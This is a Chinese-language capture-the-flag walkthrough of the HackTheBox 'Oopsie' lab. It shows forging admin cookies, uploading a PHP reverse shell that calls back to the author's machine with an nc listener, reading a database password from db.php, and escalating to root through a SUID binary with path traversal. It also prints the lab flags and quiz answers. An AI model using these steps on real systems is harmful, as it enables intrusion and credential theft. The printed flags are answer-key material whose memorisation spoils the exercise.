Hackthebox 靶機Oopsie攻略


目標:Oopsie

解題關鍵:抓住Oopsie的Web應用對Cookie的處理不夠安全的漏洞,偽造admin的Cookie來上傳反向PHP shell。

解題過程:

作者使用Kali Linux作為滲透測試平台,在Kali Linux上首先通過openvpn建立與Hackthebox網站的VPN連接,得到目標Oopsie實例的IP地址:

# openvpn starting_point_jasonhuawen.ovpn

 

 

第3題:With what kind of tool can intercept web traffic?

答案:Proxy(簡單!!!)

第4題:What is the path to the directory on the webserver that returns a login page?

思路:由於NMAP掃描結果可以知道,目標運行兩種服務:HTTP以及SSH, 這個題目的提示是需要用到爬蟲工具,雖然可以用dirb等工具,我嘗試用dirb去爬,感覺耗費時間很長,結果發現但最有效的還是Burpsuite,在訪問網站的過程中了,抓到了一個URL,看起來很可疑:/cdn-cgi/login/script.js (需要留意每個Spider下來的URL)

因此嘗試登陸http:// 10.129.33.182/cdn-cgi/login/, 結果發現確實是個登陸頁面。這樣第4題的答案也就出來了!!!

 

 

答案:/cdn-cgi/login

第5題:What can be modified in Firefox to get access to the upload page?

答案:cookie

第6題:What is the access ID of the admin user?

思路:從登陸頁面本身就很明顯可以看到可以以guest身份登陸,而且發現無需密碼即可登陸

 

 

進入account, 發現guest的Access ID是2233,所以估計admin的URL中的參數ID應該會低(guest的URL參數中ID為2),所以就用ID=1嘗試:

 

 

http://10.129.33.182/cdn-cgi/login/admin.php?content=accounts&id=2,改變這個id。發現將id改成1,直接就是admin了,access ID也就出來了

 

 

答案:34322

第7題:On uploading a file, what directory does that file appear in on the server?

思路:根據題目本身的提示(hint):Use a tool like gobuster to brute force directories on the webserver. 那就別廢話了,所以就用gobuster工具進行暴力枚舉了,找出文件上傳目錄,先用個小的字典試試:

# gobuster dir --url http://10.129.33.182  -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

發現沒掃一會兒就發現了跟上傳相關的目錄了:http://10.129.33.182/uploads/

答案:uploads

 

 

 

思路:后面的題更加有難度,需要拿到更多的權限。在登錄http://10.129.33.182/uploads/時,用burp修改cookie中的userid(34322) 以及角色(admin),假冒admin用戶的cookie,發現成功進入uploads頁面。因為用guest用戶身份是無法訪問uploads頁面的,所以需要想辦法偽裝成admin管理員。

 

此時需要生成web shell,並通過這個目錄頁面上傳到目標(注意在上傳過程中需要供burp修改截獲到的每次request請求,將cookie中id改為34322以及role改為admin,否則會失敗):

#weevely generate jason jason.php

不過不知道怎么回事這個shell似乎不行,感覺會被移動到其他目錄,只短暫用weevely訪問了一下shell。

因此考慮用反向revershell

從網上下載了一個php 反向代理shell,

#git clone https://github.com/pentestmonkey/php-reverse-shell.git

用同樣的方法,將這個shell,這里的shell需要修改回連的IP地址以及端口,也就是Kali Linux,修改后用同樣的辦法的上傳到網站(也就是用burpsuite攔截請求,將user id 改成34322以及role改成admin),此時在kali Linux上運行nc -lnvp 12345啟動監聽。

訪問目標網站的shell頁面,即可成功回連到Kali Linux,

成果拿到user.txt 其中有flag

f2c74ee8db7983851ab2a96a44eb7981

 

接下來設法獲得robert用戶密碼,這個用戶名密碼可能會在連接數據庫的php文件中,用locate定位一下

#locate www

/var/www/html

/var/www/html/cdn-cgi

/var/www/html/css

/var/www/html/fonts

/var/www/html/images

/var/www/html/index.php

/var/www/html/js

/var/www/html/themes

/var/www/html/uploads

/var/www/html/cdn-cgi/login

/var/www/html/cdn-cgi/login/admin.php

/var/www/html/cdn-cgi/login/db.php

/var/www/html/cdn-cgi/login/index.php

/var/www/html/cdn-cgi/login/script.js

/var/www/html/css/1.css

/var/www/html/css/bootstrap.min.css

/var/www/html/css/font-awesome.min.css

/var/www/html/css/ionicons.min.css

/var/www/html/css/new.css

/var/www/html/css/normalize.min.css

/var/www/html/css/reset.min.css

/var/www/html/fonts/fontawesome-webfont.ttf

/var/www/html/images/1.jpg

/var/www/html/images/2.jpg

/var/www/html/images/3.jpg

/var/www/html/js/bootstrap.min.js

/var/www/html/js/index.js

/var/www/html/js/jquery.min.js

/var/www/html/js/min.js

/var/www/html/js/prefixfree.min.js

/var/www/html/themes/theme.css

查找到的文件中這個文件需要引起注意,/var/www/html/cdn-cgi/login/db.php

查看這個文件的內容

www-data@oopsie:/home/robert$ cat /var/www/html/cdn-cgi/login/db.php

cat /var/www/html/cdn-cgi/login/db.php

<?php

$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');

?>

里面可以看到用戶名robert以及密碼。

而從前面nmap掃描可以知道ssh服務是開放的,因此嘗試連接ssh

#ssh robert@10.129.215.75

 

登錄后

#id

#uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)

發現robert是bugtracker組成員,查找一下與bugtracker有關的文件:

#locate bugtracker

發現了: /usr/bin/bugtracker,而且是可執行文件

#cd /usr/bin/

#./bugtracker

 

 

第8題:What is the file that contains the password that is shared with the robert user?

答案:db.php

第9題:What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?

答案:find

第10題:Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?

答案:root

第11題:What SUID stands for?

答案:Set owner User ID(搜谷歌即可得到答案)

 

通過bugtracker執行程序,並提交../root.txt參數,成功提取root flag

af13b0bee69f8a877c3faf667f7beacf

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM